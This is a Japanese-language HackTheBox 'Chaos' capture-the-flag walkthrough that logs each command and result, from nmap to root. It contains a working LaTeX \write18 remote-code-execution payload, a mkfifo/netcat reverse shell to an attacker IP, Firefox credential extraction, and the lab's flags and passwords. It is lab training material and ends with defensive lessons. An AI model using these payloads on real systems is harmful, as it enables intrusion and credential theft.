HackTheBox: Chaos — 全実行コマンド・実行結果レポート
Nmap スキャン
80/110/143/993/995/10000
→
80/110/143/993/995/10000
直接IPのみで見える
/wp/wordpress/
→
/wp/wordpress/
wpscan + 記事パスワード
human (username=password)
→
human (username=password)
webmail資格情報
ayush:jiujitsu
→
ayush:jiujitsu
AES-CBC復号
鍵=SHA256(“sahay”)
→
鍵=SHA256(“sahay”)
LaTeX write18 RCE
認証不要 www-data
→
認証不要 www-data
su ayush
user.txt ✓
→
user.txt ✓
Firefox保存資格情報
firefox_decrypt
→
firefox_decrypt
root:Thiv8wrej~
Linuxパスワード再利用
→
Linuxパスワード再利用
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
Nmap バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 80,110,143,443,993,995,10000 10.129.75.178
RESULT
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.34 ((Ubuntu)) 110/tcp open pop3 Dovecot pop3d 143/tcp open imap Dovecot imapd (Ubuntu) | ssl-cert: Subject: commonName=chaos |_Subject Alternative Name: DNS:chaos 993/tcp open ssl/imap Dovecot imapd (Ubuntu) 995/tcp open ssl/pop3 Dovecot pop3d 10000/tcp open http MiniServ 1.890 (Webmin httpd) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: SSL証明書のCommonNameが
chaos
であることからvhost chaos.htb が推定できる。Dovecot
(IMAP/POP3) と Webmin(10000) の組み合わせから「Webメール経由の
資格情報漏洩」という攻撃チェーンが疑われる。
vhost設定の確認
BASH
echo "10.129.75.178 chaos.htb" >> /etc/hosts curl -s http://10.129.75.178/ # Hostヘッダ無し(直接IP) curl -s -H "Host: chaos.htb" http://10.129.75.178/
RESULT
# 直接IP:
<h1><center><font color="red">Direct IP not allowed</font></center></h1>
# Host: chaos.htb:
<title>Chaos</title> (企業ポートフォリオ風の静的ページ)
ℹ️
ルート
/ は Host ヘッダで vhost を判定し、一致しない場合
“Direct IP not allowed” を返す仕組み。ただし後述の通り、この判定は
サブディレクトリには適用されないという抜け穴がある。
PHASE 2
直接IPのみで見える隠しWordPress → 記事パスワード突破
/wp/ ディレクトリの発見 (直接IPのみ到達可能)
BASH
curl -s http://10.129.75.178/wp/ # 直接IP、Hostヘッダ無し
RESULT
<h1>Index of /wp</h1> ... <a href="wordpress/">wordpress/</a>
🚨
重要発見:
/wp/ 配下は Host ヘッダチェックを
バイパスして直接IPでアクセス可能。/wp/wordpress/ が
実際のWordPressインストールで、アクセスすると
http://wordpress.chaos.htb へ自動リダイレクトする
(/etc/hosts に追記が必要)。
BASH
echo "10.129.75.178 wordpress.chaos.htb" >> /etc/hosts curl -sL "http://wordpress.chaos.htb/?feed=rss2"
RESULT
<title>Protected: chaos</title> <link>http://wordpress.chaos.htb/index.php/2018/10/28/chaos/</link>
wpscan でユーザー列挙
BASH
wpscan --url http://wordpress.chaos.htb --enumerate u --no-banner
RESULT
[+] Enumerating Users (via Passive and Aggressive Methods)
User(s) Identified:
[+] human
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By: Rss Generator / Wp Json Api / Login Error Messages
ℹ️
このWordPressインストールには唯一のユーザー
human しか
存在しない。パスワード保護記事の名前から、このユーザー名が
そのままパスワードとして使われている可能性を試す。
記事パスワードの突破 (ユーザー名=パスワード)
BASH
curl -s -c cookies.txt -d "post_password=human&Submit=Enter" \ "http://wordpress.chaos.htb/wp-login.php?action=postpass" curl -s -b cookies.txt \ "http://wordpress.chaos.htb/index.php/2018/10/28/chaos/"
RESULT
<div class="entry-content">
<p>Creds for webmail :</p>
<p>username – ayush</p>
<p>password – jiujitsu</p>
</div>
✅
突破成功! パスワード保護を解除するPOSTは記事URL自体
ではなく
wp-login.php?action=postpass へ送る必要がある
点に注意。webmail用の資格情報 ayush / jiujitsu
を入手。
webmail 資格情報 (記事から発見)
ayush : jiujitsu
PHASE 3
webmail (IMAP) Drafts フォルダ → 暗号化添付を復号 → 隠しURL発見
IMAP経由でDraftsフォルダのメールを取得
BASH
curl -s -k --url "imaps://10.129.75.178/Drafts" \ --user "ayush:jiujitsu" -X "FETCH 1 BODY[]"
RESULT (抜粋)
Subject: service
From: ayush <ayush@localhost>
User-Agent: Roundcube Webmail/1.3.8
Hii, sahay
Check the enmsg.txt
You are the password XD.
Also attached the script which i used to encrypt.
--...
Content-Type: application/octet-stream; name=enim_msg.txt
<base64エンコードされた暗号化データ>
--...
Content-Type: text/x-python; name=en.py
<base64エンコードされた復号スクリプト(en.py)>
ℹ️
メール本文「You are the password」から、暗号鍵が
宛先の名前 “sahay” であることがわかる。添付の
en.py から暗号化方式(AES-CBC)とファイル形式も判明する。
添付ファイルのAES-CBC復号
NOTE
en.py から復号方式が判明: ファイル先頭16バイトが平文サイズ(ASCII数字の
ゼロ埋め)、続く16バイトがIV、鍵はSHA256("sahay")。
PYTHON
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
import base64
def getKey(password):
return SHA256.new(password.encode()).digest()
with open('enim_msg.txt', 'rb') as f:
c = f.read()
filesize = int(c[:16])
iv = c[16:32]
key = getKey("sahay")
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(c[32:])[:filesize]
# 復号結果はさらに1段base64エンコードされている
print(base64.b64decode(plaintext).decode())
RESULT
Hii Sahay
Please check our new service which create pdf
p.s - As you told me to encrypt important msg, i did :)
http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3
Thanks,
Ayush
✅
復号成功! 隠しURL
http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3 を発見。
復号結果が「さらにもう1段base64」になっている二重エンコードの罠に
注意(1回目のAES復号だけでは可読文字列にならない)。
PHASE 4
LaTeX PDFメーカーの \write18 shell-escape で認証不要RCE
隠しURLのアプリを確認
BASH
curl -s "http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/"
RESULT
<title>Testing pdf maker</title> <textarea id="content" name="content"></textarea> <select name="template"> <option value='test1'>test1</option>... </select>
ℹ️
入力したテキストをテンプレートに差し込み
ajax.php が
バックエンドでLaTeXコンパイルしPDF化するテストアプリ。
write18 shell-escapeでコマンド実行確認
NOTE
LaTeXには \input{} や \include{} のような危険なコマンドのブラックリストが
あるが、shell-escape機能 \immediate\write18{<cmd>} は禁止リストに無く、
OSコマンドをそのまま実行できる。
BASH
curl -s -X POST "http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
-H "X-Requested-With: XMLHttpRequest" \
--data-urlencode 'content=\immediate\write18{id}' \
--data-urlencode 'template=test1'
RESULT (抜粋)
(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsb.fd)uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! LaTeXのコンパイルログの中にコマンド出力が
紛れ込む形で返ってくる。認証不要で
www-data 権限の
任意コマンド実行が可能。
リバースシェルの確立
BASH
# Kali側: リスナー起動
nc -lnvp 4444
# mkfifo方式でインタラクティブなリバースシェルを得る
curl -s -X POST "http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
-H "X-Requested-With: XMLHttpRequest" \
--data-urlencode 'content=\immediate\write18{rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.200 4444 >/tmp/f}' \
--data-urlencode 'template=test1'
RESULT (nc リスナー側)
listening on [any] 4444 ... connect to [10.10.15.200] from (UNKNOWN) [10.129.75.178] 54160 /bin/sh: 0: can't access tty; job control turned off $ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
⚠️
LaTeXコンパイル処理は
\write18 の実行完了を待ってから
レスポンスを返すため、ブロッキング型のリバースシェルコマンドを送ると
HTTPリクエスト自体が、シェル接続を切るまで応答を返さず
ハングする(curlは送信側で--max-time指定、
あるいはタイムアウトを許容する設計にしておくこと)。
PHASE 5
PTYアップグレード → su ayush → user.txt
su に必要なPTYへのアップグレード
BASH
$ su -l ayush
RESULT
su: must be run from a terminal
⚠️
mkfifoベースの素のパイプ経由シェルには制御端末(TTY)が無いため
su が拒否される。Pythonの pty モジュールで
実在のPTYを割り当てることで解決する。
BASH
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@chaos:/var/www/main/.../compile$ su - ayush
Password: jiujitsu
RESULT
ayush@chaos:~$
user.txt 取得 (PATH環境変数のリセットに注意)
BASH
ayush@chaos:~$ cat user.txt
RESULT
Command 'cat' is available in '/bin/cat'
The command could not be located because '/bin' is not included in the
PATH environment variable.
cat: command not found
ℹ️
su でユーザーを切り替えると環境変数 PATH が
リセットされる設定になっている。再度 export する。
BASH
ayush@chaos:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ayush@chaos:~$ cat user.txt
RESULT
4cdc7df4f25d5a881ac82c5c27de9406
user.txt — ayush
4cdc7df4f25d5a881ac82c5c27de9406
PHASE 6
ayushのFirefox保存資格情報 → root.txt
.mozilla プロファイルの発見
BASH
ayush@chaos:~$ ls -la ~/.mozilla/firefox/*/
RESULT
/home/ayush/.mozilla/firefox/bzo7sjt1.default/:
-rw------- key4.db
-rw------- cert9.db
-rw-r--r-- logins.json
BASH
ayush@chaos:~$ cat ~/.mozilla/firefox/bzo7sjt1.default/logins.json
RESULT
{"logins":[{"hostname":"https://chaos.htb:10000",
"encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDSAazrlUMZFBAhbsMDAlL9iaw==",
"encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNx7bW1TuuCuBBAP8YwnxCZH0+pLo6cJJxnb", ...}]}
🚨
重要発見:
https://chaos.htb:10000
(Webminのポート)へのログイン情報が、NSS暗号化された状態で
Firefoxのプロファイルに保存されている。復号には
key4.db/cert9.dbの鍵データが必要。
プロファイルの回収とfirefox_decryptでの復号
BASH
# ayushシェル側: 必要ファイルをtar+base64化して画面出力 ayush@chaos:~$ cd ~/.mozilla/firefox/bzo7sjt1.default/ && \ tar czf /tmp/ff.tgz key4.db key3.db logins.json cert9.db pkcs11.txt 2>/dev/null; \ base64 -w0 /tmp/ff.tgz # Kali側: 出力を保存してデコード・展開 base64 -d ff_b64.txt > ffcreds.tgz mkdir ff_profile && tar xzf ffcreds.tgz -C ff_profile # firefox_decrypt (pip未配布、GitHubから直接取得) git clone --depth 1 https://github.com/unode/firefox_decrypt python3 firefox_decrypt/firefox_decrypt.py ff_profile
RESULT
Reading Primary password from standard input: jiujitsu Website: https://chaos.htb:10000 Username: 'root' Password: 'Thiv8wrej~'
✅
復号成功! FirefoxのPrimary password(マスターパスワード)が
ayushのLinuxパスワード
jiujitsu と同一だったため復号できた。
Webmin/root 資格情報 (Firefox保存情報から復元)
root : Thiv8wrej~
root.txt 取得 (Webminではなく直接Linuxパスワードとして再利用)
NOTE
復号された資格情報はWebminアプリ専用かと思われたが、実際には単純に Linuxのrootユーザーのパスワードとしてそのまま使い回されていた。
BASH
ayush@chaos:~$ su - root Password: Thiv8wrej~
RESULT
root@chaos:~#
BASH
root@chaos:~# cat /root/root.txt
RESULT
f1552ac432d0bb6082edec37c375d830
root.txt — root@chaos
f1552ac432d0bb6082edec37c375d830
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — ayush
4cdc7df4f25d5a881ac82c5c27de9406
root.txt — root@chaos
f1552ac432d0bb6082edec37c375d830
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| vhostフィルタのバイパス | Apache (サブディレクトリ) | 隠しWordPressインストールの発見 | Medium | ルート”/”のみHostヘッダ検査が効き、/wp/配下は直接IPで到達可能 |
| ユーザー名をそのままパスワードに使用 | WordPress 記事パスワード保護 | 機密情報(webmail資格情報)の漏洩 | Medium | wpscanで判明した唯一のユーザー名”human”がそのまま記事パスワード |
| LaTeX shell-escape (\write18) | PDFメーカーアプリ (ajax.php) | 認証不要のリモートコード実行 | Critical | \input{}等はブラックリストだが\immediate\write18{}は許可されOSコマンド実行可能 |
| Firefoxへの機密情報保存+マスターパスワード使い回し | ayushの.mozillaプロファイル | root権限資格情報の漏洩 | High | Webminログイン情報がブラウザに保存され、Primary password=Linuxパスワードと同一のため復号可能 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap -sV -sC | 80/110/143/993/995/10000(Webmin) |
| 2 | 隠しWordPress | vhostバイパス + wpscan + 記事パスワード突破 | webmail資格情報 ayush:jiujitsu |
| 3 | 暗号添付復号 | IMAP Drafts + AES-CBC復号(鍵=SHA256(“sahay”)) | 隠しURL /J00_w1ll_f1Nd_n07H1n9_H3r3 |
| 4 | RCE | LaTeX \immediate\write18{} + mkfifoリバースシェル | www-data シェル |
| 5 | 横移動 | pty.spawn PTYアップグレード + su ayush | user.txt |
| 6 | 権限昇格 | .mozillaプロファイル回収 + firefox_decrypt + su root | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Apacheのvhostフィルタがサブディレクトリに適用されておらず隠しサイトが直接IPで到達可能 | 全てのVirtualHost/Locationブロックで一貫してHostヘッダ検証を適用する。デフォルトvhostで全てのパスを確実に拒否する。 |
| パスワード保護記事のパスワードがユーザー名そのもの | 推測されやすいパスワードを避け、記事保護には十分にランダムなパスフレーズを使う。 |
| 社内テストアプリがLaTeXのshell-escape機能を無効化せず公開 | pdflatexは必ず-no-shell-escapeオプション付きで実行する。ユーザー入力を直接LaTeXソースに埋め込まない。 |
| ブラウザに機密システムの認証情報を保存し、マスターパスワードをLinuxログインパスワードと共用 | ブラウザのパスワードマネージャーに特権システムの認証情報を保存しない。パスワードの使い回しを避ける。 |

